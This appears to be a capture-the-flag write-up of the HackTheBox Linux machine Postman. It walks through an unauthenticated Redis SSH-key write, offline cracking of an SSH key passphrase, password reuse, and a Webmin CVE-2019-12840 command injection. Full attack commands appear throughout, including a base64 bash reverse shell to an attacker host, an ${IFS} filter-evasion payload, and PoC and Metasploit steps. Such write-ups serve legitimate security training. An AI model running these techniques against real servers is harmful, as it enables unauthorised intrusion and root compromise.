All writeups
HackTheBox: Postman avatar
MACHINE Linux HackTheBox 2/5

HackTheBox: Postman

2026-06-05 6 min read
Tracks CPTS

Introduction

Postman is an Easy rated Linux machine on HackTheBox. The attack chain is:

  • An unauthenticated Redis 4.0.9 instance lets us write files as the redis user, so we plant an SSH key in authorized_keys for a foothold
  • An encrypted backup key at /opt/id_rsa.bak cracks offline with John to the passphrase computer2008
  • That passphrase is also Matt’s account password, reached with su because direct SSH for Matt is blocked
  • Matt can log in to Webmin 1.910, which is vulnerable to CVE-2019-12840 command injection and runs as root, handing us a root shell

Enumeration

Nmap

Full TCP port scan with service and script detection:

nmap -p- -T4 --min-rate=1000 -sC -sV 10.10.10.160

Breaking down every flag for beginners:

FlagWhat it does
-p-Scan all 65535 TCP ports, not just the top 1000
-T4Faster timing template, good for labs
--min-rate=1000Send at least 1000 packets per second
-sCRun nmap’s default NSE scripts (banner grabs, basic checks)
-sVDetect the service and version on each open port

Open ports:

PortServiceVersion
22SSHOpenSSH 7.6p1
80HTTPApache 2.4.29
6379Redis4.0.9 (no auth)
10000WebminMiniServ 1.910

The two services that stand out are Redis on 6379 with no authentication, and Webmin on 10000. Redis becomes the foothold, Webmin becomes root.

Beginner tip: Redis (6379) is an in-memory data store that, left unauthenticated, lets anyone run administrative commands over the network. Webmin (10000) is a root-level system administration panel, so any code execution bug inside it runs as root.


Foothold: Redis Key Injection

Redis 4.0 to 5.0 with no authentication exposes CONFIG SET, which lets us choose where Redis writes its dump file. By pointing that at the redis user’s .ssh folder and saving our public key, we end up with an authorized_keys file we control.

First confirm Redis answers without credentials:

redis-cli -h 10.10.10.160
10.10.10.160:6379> CONFIG GET dir
1) "dir"
2) "/var/lib/redis"

The server returns its config, so we have unauthenticated admin access. The default directory /var/lib/redis is the redis user’s home.

Step 1: Generate a key pair on Kali

ssh-keygen -t rsa -f ~/postman_key

Step 2: Pad the public key

(echo -e "\n\n"; cat ~/postman_key.pub; echo -e "\n\n") > key.txt

The blank lines around the key matter. When Redis saves, it wraps the value in RDB metadata, so the padding keeps the key on its own clean line and OpenSSH can still parse it past the surrounding junk bytes.

Step 3: Load the key into Redis

cat key.txt | redis-cli -h 10.10.10.160 -x set ssh_key

Step 4: Write authorized_keys

redis-cli -h 10.10.10.160
CONFIG SET dir /var/lib/redis/.ssh
CONFIG SET dbfilename authorized_keys
save
exit

save dumps Redis memory to disk as an RDB file. Because dir and dbfilename now point at the redis user’s .ssh folder, that dump becomes a working authorized_keys.

Step 5: SSH in as redis

ssh -i ~/postman_key redis@10.10.10.160

Shell obtained as redis.

Beginner tip: any service that can write a file to a known path is a foothold primitive. Writing into ~/.ssh/authorized_keys is the cleanest target on Linux because it grants a stable SSH login instead of a fragile reverse shell.


Lateral Movement: Cracking id_rsa.bak

From the redis shell, look for backup files. LinPeas works well for a full sweep, but a quick find is enough here:

find /opt -type f 2>/dev/null
# /opt/id_rsa.bak

The key is encrypted, so copy it to Kali and crack the passphrase offline:

# From Kali
scp -i ~/postman_key redis@10.10.10.160:/opt/id_rsa.bak .
ssh2john id_rsa.bak > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
# computer2008

Breaking down the steps:

CommandWhat it does
ssh2john id_rsa.bak > hashConvert the encrypted key into a hash John can attack
john hash --wordlist=...Brute force the passphrase against rockyou

The recovered passphrase computer2008 is also Matt’s account password. Logging in over SSH as Matt fails because the server drops the connection after key auth, so switch user from the redis shell instead:

su Matt
# Password: computer2008
cat /home/Matt/user.txt

User flag captured.

Beginner tip: a cracked SSH key passphrase is very often reused as the account password. When direct SSH is blocked, su from an existing shell is the reliable fallback because it only needs the password, not network key authentication.


Privilege Escalation: Webmin 1.910

Matt’s credentials log in to Webmin at https://10.10.10.160:10000. The running version sits in /etc/webmin/version and reads 1.910, which is vulnerable to CVE-2019-12840, an authenticated command injection in the package update endpoint. Webmin runs as root, so the injected command runs as root with no extra work.

Route 1: Manual command injection (official method)

This is the intended path and the one the official writeup uses. It also shows exactly where the bug lives.

  1. Log in to https://10.10.10.160:10000 as Matt / computer2008.
  2. Go to System, then Software Package Updates.
  3. Turn on Burp intercept and click Update Selected Packages.
  4. Burp catches a POST to /package-updates/update.cgi. Send it to Repeater and strip the existing parameters.

Confirm injection with a harmless command first:

u=acl%2Fapt&u=$(whoami)

Scroll to the bottom of the response. The server reports that it tried to install a package named root, which is the output of whoami. That confirms command execution as root.

Now build a base64 reverse shell on Kali:

echo -n 'bash -c "bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1"' | base64

Assemble the final payload using ${IFS} in place of spaces, because literal spaces break the parameter parsing:

u=acl%2Fapt&u=echo${IFS}<BASE64_STRING>|base64${IFS}-d|bash

URL encode the whole value of the second u parameter before sending. Start a listener, then forward the request in Repeater:

nc -lvnp 4444

Root shell received.

Beginner tip: ${IFS} is the shell Internal Field Separator, which is whitespace by default. Substituting it for spaces is a classic way to smuggle a multi word command past a filter or parser that splits on spaces.

Route 2: CVE-2019-12840 Python PoC

For the automated version, a public PoC wraps the same injection:

nc -lvnp 443
python3 CVE-2019-12840.py -u https://postman.htb:10000 -U Matt -P computer2008 -lhost <YOUR_IP> -lport 443

The root shell lands in the listener. Add postman.htb to /etc/hosts pointing at 10.10.10.160 if the script resolves the target by name.

Route 3: Metasploit module

Metasploit ships a module for the same CVE, handy when you just want a quick session:

msfconsole -q
use exploit/linux/http/webmin_packageup_rce
set RHOSTS 10.10.10.160
set RPORT 10000
set SSL true
set USERNAME Matt
set PASSWORD computer2008
set LHOST <YOUR_IP>
run

It authenticates as Matt, fires the injection, and returns a root Meterpreter session.


Root Flag

cat /root/root.txt

Root flag captured.


Summary

StepTechnique
ReconNmap full TCP port and service scan
FootholdUnauthenticated Redis CONFIG SET writes an SSH key to authorized_keys, shell as redis
Loot/opt/id_rsa.bak cracked with John to computer2008
Lateralsu Matt with the recovered password, user flag
PrivEscWebmin 1.910 CVE-2019-12840 command injection as root

Key Takeaways

  • Unauthenticated Redis is a direct file write primitive, so always test 6379 with no credentials.
  • CONFIG SET dir plus CONFIG SET dbfilename plus save writes an arbitrary file as the redis OS user, and authorized_keys is the cleanest target.
  • A cracked key passphrase is frequently reused as the account password, and su sidesteps a box that blocks direct SSH for that user.
  • Webmin runs as root, so any authenticated RCE inside it is an instant privilege escalation no matter how low the login user sits on the system.
  • CVE-2019-12840 lives in the package update u parameter, and ${IFS} is what carries spaces past the parser.